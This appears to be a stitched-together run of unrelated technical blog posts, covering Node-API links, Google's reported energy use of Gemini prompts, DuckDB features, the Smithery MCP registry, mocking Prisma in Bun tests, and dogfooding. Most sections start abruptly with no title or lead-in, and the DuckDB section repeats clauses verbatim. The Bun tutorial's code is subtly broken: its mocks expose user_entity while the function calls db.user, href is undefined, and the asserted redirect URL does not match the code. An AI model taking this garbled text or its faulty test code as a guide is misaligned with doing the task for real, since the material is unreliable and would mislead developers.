• Documentation: https://nodejs.org/api/n-api.html

• Examples: https://github.com/nodejs/node-addon-examples

Node-API bindings

• Engine bindings doc: https://github.com/nodejs/abi-stable-node/blob/doc/node-api-engine-bindings.md

• C++ API: https://github.com/nodejs/node-addon-api

• C# API: https://github.com/microsoft/node-api-dotnet

• JSI API: https://github.com/microsoft/node-api-jsi

Node-API for Hermes

• Hermes PR: https://github.com/facebook/hermes/pull/1377

• Hermes Windows fork: https://github.com/microsoft/hermes-windows

How Much Energy Does an AI Prompt Use?

According to Google’s analysis, a typical Gemini text prompt consumes about 0.24 watt-hours of energy, produces 0.03 grams of Carbon emissions, and uses 0.26 milliliters of water — roughly equivalent to watching TV for less than nine seconds.

Interestingly, over just 12 months, the energy and carbon footprint of a Gemini text prompt have dropped by 33x and 44x respectively, It happens because due to the advancements in model efficiency, hardware, and data center performance.

Why Measuring AI’s Footprint Is Complex

Google emphasizes that measuring AI’s environmental cost isn’t as simple as looking at active chip usage. A full picture needs to include:

• Idle capacity kept ready for reliability and traffic spikes.

• CPU and RAM usage, which support model execution.

• Data center overhead, such as cooling and power distribution.

• Water consumption for cooling systems.

Many estimates in the public domain focus only on GPU/TPU consumption, which Google says can underestimate the true footprint by more than half.

Efficiency Through a Full-Stack Approach

Google attributes its efficiency gains to a full-stack strategy — improving AI across every layer, from hardware to algorithms to data centers. Key contributors include:

• Smarter model architectures like Mixture-of-Experts, which only activate parts of a model needed for a task.

• Algorithmic improvements such as quantization, reducing energy use without sacrificing accuracy.

• Optimized serving methods like speculative decoding and distilled models (e.g., Gemini Flash) that handle queries with fewer computations.

• Custom TPUs designed for maximum performance per watt, now 30x more efficient than the first generation.

• Ultra-efficient data centers running at a fleet-wide average PUE (Power Usage Effectiveness) of 1.09, powered increasingly by carbon-free energy.

Google 2025 Environment Report

Based on Google's 2025 Environmental Report, the carbon emitted from Google's data centres in the last year, 2024, was approximately 2.5 million metric tons of carbon dioxide equivalent (tCO2e).

For broader context, Google's total operational emissions (which include all Scope 1 and Scope 2 market-based emissions for all Google and Alphabet Inc. operations, including offices, not just data centres) for 2024 were 3,132,200 tCO2e

To know more about the environment report. - https://www.gstatic.com/gumdrop/sustainability/google-2025-environmental-report.pdf

Looking Ahead

Google acknowledges that the job isn’t done. It continues to push for further efficiency improvements while pursuing its broader goals of 24/7 carbon-free operations and water replenishment. By publishing its methodology, Google hopes to set a standard for how the industry measures the true environmental footprint of AI.

As we build more powerful AI, we must remember the planet isn’t ours alone.

Reference Links

1. Research Paper - https://arxiv.org/abs/2508.15734

2. Distilling a knowledge in Neural Network - https://arxiv.org/abs/1503.02531

3. 2025 Environment Report - https://www.gstatic.com/gumdrop/sustainability/google-2025-environmental-report.pdf

Key Features and Characteristics

1. In-Process Execution

Like SQLite, DuckDB doesn’t require a separate server process.It runs within the same process as your application, making it easy to deploy and use without complex server setups.

2. Columnar Storage

DuckDB uses a columnar storage format.This means data is stored column-by-column rather than row-by-row. This is a significant advantage for analytical queries because it allows the database to read only the columns needed for query, leading to faster performance, especially when aggregating or filtering on a few columns needed for a query, leading to faster performance, especially when aggregating or filtering on a few columns within very wide tables.

3. Optimized Query Execution

DuckDB features a sophisticated query optimizer that analyzes queries and chooses the most efficient execution plan. It includes techniques like

• Vectorized Processing - Operations are performed on batches of data (vectors) at a time, leveraging CPU parallelism for significant speedups.

• Just-In-Time(JIT) Compilation- Parts of the query execution plan can be compiled to native machine code during runtime, allowing for further optimization.

• Pushdown of Operations - DuckDB can push down operations like filters and aggregations to storage so that only the necessary data is read from storage.

• SQL Standard Compliance - It aims for a high degree of SQL standard compliance, making it easier to migrate existing SQL code and learn the database.

• Extensibility - DuckDB supports extensions for reading various file formats(CSV, Parquet, JSON, Excel) directly. Integration with other data sources like PostgreSQL, Custom functions and aggregations.

• Focus on Read-Heavy Workloads: DuckDB is optimized for read-heavy workloads, which is common in data analysis and reporting. Writes are supported, but the performance is not as optimized as read.

• Designed for Analytics: It’s primary use case is analyzing data, making it a good choice for data scientists analysts, and anyone working with large datasets for reporting, dashboard and exploratory analysis and anyone working with large datasets for reporting, dashboards and exploratory analysis.

4. Comparison of DuckDB vs SQLite

5. Installation of DuckDB

DuckDB is supported in the following languages like Python, R, Rust, Node.js, Java, ODBC and GO and you can find the installation steps for each language in their official documentation - https://duckdb.org/docs/stable/

6. Tools Powered by DuckDB

• Rill Data - Tool for effortlessly transforming data sets into powerful, opinionated dashboards using SQL.

• Ibis Project - A DataFrame API for interacting with DuckDB (and other compute engines).

• Boiling Data - Serverless data analytics overlay on top of S3 Data Lakes.

• Hex Dataframe SQL - Hex's Dataframe SQL cells are powered by DuckDB.

• Mode - Mode uses DuckDB for their in-memory data engine.

• VulcanSQL - DuckDB can be used as a caching layer or a data connector in VulcanSQL, a Data API framework for data folks to create REST APIs by writing SQL templates.

• Tad - A fast, free, cross-platform tabular data viewer application powered by DuckDB.

• Honeycomb Maps - A browser-based geospatial analysis tool leveraging DuckDB-Wasm.

• Bauplan - A serverless data transformation platform for data lakes.

• Malloy - Malloy is an experimental language for describing data relationships and transformations. Malloy connects to BigQuery, Snowflake, Trino, and Postgres, and natively supports DuckDB.

• Evidence - Generate reports using SQL and markdown. The DuckDB connector allows querying across DuckDB, CSV, Parquet and JSON.

• Latitude - Latitude uses DuckDB to power data snapshots. Drop a CSV file and query it with SQL at the speed of light.

• Census - Census's dataset diffing for incremental syncs is powered by DuckDB.

• Huey - Blazing-fast & intuitive pivot tables on Parquet, CSV, JSON files and DuckDB tables in the browser based on DuckDB-Wasm. open-source (MIT). Zero install!

• Parquet Explorer - Visual Studio Code extension for exploring Parquet files with SQL, powered by DuckDB.

• DQOps - Data quality platform for data engineers, data quality teams and data operations.

• DatalakeStudio - Load, explore, transform your datasets and expose them via API. Integration with external APIs, S3, PostgreSQL and ChatGPT.

• Spice.ai - A unified SQL query interface and portable runtime to locally materialize (using an embedded DuckDB), accelerate, and query datasets from any database, data warehouse, or data lake.

• Definite - Definite pulls all your data into a single place for analytics and dashboards. No engineering or SQL required. Get a managed data warehouse (DuckDB), ELT, data modeling / transformations and BI in a single platform.

• Amphi ETL - Low-code data pipelines for structured and unstructured data. SQL transformations are powered by DuckDB.

• Quackpipe - Serverless OLAP API/UI built on top of DuckDB with basic ClickHouse API compatibility and MotherDuck support.

• UniverSQL - An implementation of Snowflake API, enables running queries on Snowflake tables locally with DuckDB without a running warehouse.

• Whereabouts - Fast, accurate, open-source geocoding in Python, using DuckDB.

• Phoenix Analytics - Plug and play analytics for Phoenix applications, powered by DuckDB.

• SQLGlot - Python transpiler that translates between 24 different SQL dialects including DuckDB.

• yato - The smallest DuckDB SQL orchestrator on Earth.

• SQLMesh - A next-generation data transformation and modeling framework with support for DuckDB connections for state, transformations & running unit tests locally.

• ADPivot - No code tool built on top of DuckDB-Wasm and Pyodide that helps build pivot tables from databases of any size with a few clicks.

• Kepler.gl - Kepler.gl is a powerful open-source geospatial analysis tool for large-scale data sets, now embeds duckdb wasm to create geospatial layers.

• duckdb.yazi - Preview csv/tsv, json, and Parquet files in the yazi file manager using duckdb. View the raw data, or a "summarized" view with data-types, min, max, avg etc. for all columns.

• Greybeam - Routes your Snowflake queries to a DuckDB powered warehouse to reduce costs and speed up queries.

• Datakit - The privacy-first data analysis toolkit.

• Tailpipe - An open-source SIEM for instant log insights.

• ETLX - DuckDB-powered ETL tool written in Go, inspired by evidence.dev’s syntax. It uses a structured Markdown config where heading levels define nested blocks, yaml code blocks specify metadata, and sql code blocks handle data interactions. Enables clean, code-light orchestration with minimal setup.

• Hugr - An data mesh platform and high-performance GraphQL backend powered by DuckDB.

Final Notes

DuckDB excels at analytical workloads, leveraging columnar storage and advanced query optimization techniques for speed. It is suited to data science, reporting, and applications where large datasets are queried often.

SQLite is a general-purpose database that is best suited for transactional applications and smaller datasets, and is designed for ease of use and embeddability.

Choose the database that best fits your specific needs and workload.

That’s where Smithery AI comes in

What Is Smithery AI?

Think of Smithery AI as a package manager and registry for AI tools—but not the usual Python/Node packages. Instead, it catalogs MCP servers (Model Context Protocol), which are tiny APIs or plugins that extend the capabilities of large language models (LLMs) like Claude, GPT, or open-source agents.

Need GitHub access for your AI agent? There’s an MCP server for that. Want your LLM to query SQL databases or automate browser actions? Yup, there’s one for that too.

Smithery helps you discover, install, and manage these servers either:

• Locally: Everything runs on your machine, tokens never leave.

• Remotely: Hosted by Smithery, convenient for fast prototyping.

What you can do with it

Here are some real-world use cases where Smithery + MCP servers shine:

• GitHub MCP: Let your agent search issues, PRs, or even suggest reviews.

• PostgreSQL/SQL MCPs: Ask your LLM to analyze your data tables.

• Web MCPs: Build agents that browse and summarize web pages.

• Playwright MCP: Control browser sessions for automated testing via LLM prompts.

• Local file system access: Let agents read/write files (with strict permission control).

With over 200+ MCP servers, the ecosystem is growing fast.

Installing an MCP Server

If you want to install the GitHub MCP locally you need to use the following command locally

smithery install --server=github.com/smithery-ai/mcp-github --token=$GITHUB_TOKEN

This spins up the GitHub MCP on your local machine and gives you a .well-known/mcp descriptor for any LLM client to hook into.

Boom. You’ve just given your AI superpowers.

Is It Safe?

A few community folks raised concerns on Reddit about early versions of the Smithery CLI being minified, making it hard to audit. The devs responded quickly, pledging to open-source everything.

Until then, use local mode with caution—just like you would with any CLI that handles access tokens. For hosted servers, Smithery claims tokens are passed ephemerally and never stored long-term.

Smithery also supports developers building their own AI-driven tools. If you're writing a React app, backend service, or your own agent framework, there's a TypeScript SDK and API spec to connect to hosted MCPs.

Conclusion

Smithery AI feels like a missing piece in the AI agent puzzle. Instead of reinventing tool integrations every time, you get a standardised, modular plug-and-play system.

And with the open MCP standard, you're not locked in—you can mix and match servers, clients, and hosts.

If you're building anything agentic, LLM-enhanced, or just plain nerdy... this is worth exploring.

Resources Links

1. Smithery AI Docs - https://smithery.ai/docs

2. GitHub MCP - https://github.com/smithery-ai/mcp-github

3. Reddit Discussion - https://www.reddit.com/r/mcp/comments/1hg9u8f/be_careful_with_using_smithery/

In this post, we’ll explore two approaches for mocking Prisma in Bun

1.Spying on Methods with spyOn

If you want to track method calls (like Prisma Client methods), you can use Bun’s built-in spyOn method from bun:test. This is ideal when you just want to observe behavior and assert how methods were called.

Example

 import { test, expect, spyOn } from "bun:test";
 import { PrismaClient } from "@prisma/client";
 const prisma = new PrismaClient();

test("should find user by id", async () => {
  const spy = spyOn(prisma.user, "findUnique");
  await prisma.user.findUnique({ where: { id: 1 } });
  expect(spy).toHaveBeenCalledTimes(1);
  expect(spy.mock.calls[0][0]).toEqual({ where: { id: 1 } });
});

2.Mock the Entire Module

Consider this example: we have a function that fetches a user from the database based on an ID.

import { getDbClient } from '~/lib/getDbClient';

export async function findUser(id: number) {
  const db = getDbClient();
  const user = await db.user.findUnique({ where: { entity_id: id } });

  if (!user) return { status: 'redirect', redirectUrl: href('/login')};

  return { status: 'valid', user };
}

Here, getDbClient() returns the Prisma instance, and we use its findUnique() method to locate a user.

The Challenge

If we try to test this directly, it will attempt to call the actual database. That’s undesirable for a unit test, so we need a way to mock the Prisma client.

The Solution: mockModule

We can accomplish this using Bun’s mock.module() method. Here’s how:

Creating a Mock User

First, we create a helper method:

function createMockUser(overrides: Partial<UserEntity> = {}): UserEntity {
  const defaultUser = {
    email: 'john@example.com',
    created_at: new Date(),
    updated_at: new Date(),
    is_active: 1,
    firstname: 'John',
    lastname: 'Doe',
    dob: null,
    gender: null,
    password_hash: null,
  };

  return {
    ...defaultUser,
    ...overrides,
  };
}

Writing the Spec

Then, we use mockModule() in our test:

Then we will write the spec for the function by mocking the dbClient like below

import { afterEach, beforeEach, describe, expect, it, mock } from 'bun:test';
import { mockModule } from '~/lib/mockModule';

describe('findUser', () => {
  beforeEach(() => {
    mock.module('~/lib/getDbClient', () => ({}));
  });

  afterEach(() => {
    mock.restore();
  });

  it('should redirect if user not found', async () => {
    using mocked = await mockModule('~/lib/getDbClient', () => ({
      getDbClient: () => ({
        user_entity: {
          findUnique: () => null,
        },
      }),
    }));

    const result = await findUser(1);
    assertRedirect(result, '/login?msg=link_expired&link_error=2');
  });

  it('should return valid user', async () => {
    const mockUser = createMockUser();

    using mocked = await mockModule('~/lib/getDbClient', () => ({
      getDbClient: () => ({
        user_entity: {
          findUnique: () => mockUser,
        },
      }),
    }));

    const result = await findUser(1);
    expect(result.status).toBe('valid');
    if (result.status === 'valid') {
      expect(result.user).toEqual(mockUser);
    }
  });
});

The mockModule Utility

Here’s the helper used to swap in and restore mock implementations:

import { mock } from 'bun:test';

/**
 * Mocks a module by merging its actual exports with custom implementations.
 */
export const mockModule = async (
  modulePath: string,
  renderMocks: () => Record<string, any>
) => {
  const original = { ...(await import(modulePath)) };
  const mocks = renderMocks();
  const result = {
    ...original,
    ...mocks,
  };
  mock.module(modulePath, () => result);
  return {
    [Symbol.dispose]: () => {
      mock.module(modulePath, () => original);
    },
  };
};

With this approach, you can effectively mock Prisma instances in Bun, making your specs focused and independent of actual database connections — all without relying on Jest or Vitest.

If you’re migrating to Bun or starting fresh, this method gives you a clean, reliable way to test database-related logic in isolation.

In software development, dogfooding means using your own product in real-world scenarios before or while you ship it to customers. It’s about living the user experience, warts and all.

So why do companies like Microsoft, Google, and Facebook dogfood their products? And should your team do it too?

What is Dogfooding?

Dogfooding is the practice of a company using its own software internally to test features, uncover issues, and improve usability before public release. For example:

• Microsoft employees use early versions of Windows and Office internally.

• Twitter staff tested their algorithm changes on internal accounts before rolling them out.

It’s one of the most immediate and honest feedback loops you can create.

Why Dogfooding Works

1. Faster Feedback Loops

Instead of waiting for external beta testers to report bugs, your internal team finds them during daily use. This makes it easier to catch edge cases and usability quirks before your users do.

2. Builds Empathy for Users

Dogfooding forces the product and engineering teams to experience the friction that real users face. It builds empathy — and urgency — to fix things that slow people down.

3. Encourages Quality and Accountability

It’s harder to let subpar features slide when your own team depends on them. There’s a natural incentive to deliver well-tested, user-friendly software.

4. Improves Cross-Functional Alignment

Sales, marketing, and support teams get to understand the product deeply, helping them communicate value more effectively and identify gaps.

When Dogfooding Goes Wrong

Dogfooding isn't a silver bullet. Sometimes it gives you false confidence.

• You're not your user: Your team likely has more technical skill or context than your actual audience. What’s intuitive to you may be baffling to them.

• Internal bias: Team members might overlook bugs or quirks because they’re “used to it.”

• Overfitting to internal use cases: You might optimize features for internal workflows that don’t reflect broader customer needs.

Dogfooding is useful, but it must be balanced with external feedback.

Best Practices for Dogfooding

Here’s how to get the most out of dogfooding

1. Define Clear Use Cases
   Don’t just use it and move on. Set goals. Which workflows should teams test? What metrics or behaviours do you want to observe?

2. Make It Easy to Report Feedback
   Streamline the path from observation to action. Use Slack bots, feedback forms, or tools like Productboard or Linear to gather internal insights.

3. Rotate Fresh Eyes In
   New hires and non-technical staff often catch usability issues that engineers overlook. Rotate testers to get fresh perspectives.

4. Don’t Rely on Dogfooding Alone
   Combine it with external beta testing, UX research, and A/B testing. Dogfooding complements — but doesn’t replace — real-world validation.

5. Celebrate and Act on Discoveries
   Highlight issues found through dogfooding, and close the loop when they’re fixed. This keeps morale high and shows that internal feedback matters.

Dogfooding is one of the most powerful, practical ways to build better software — fast. It creates a culture of ownership, pride, and user-centric thinking. But like any tool, it works best when paired with the humility to recognise that internal users aren’t the final word.

If you build it, use it. Then make it better for everyone else.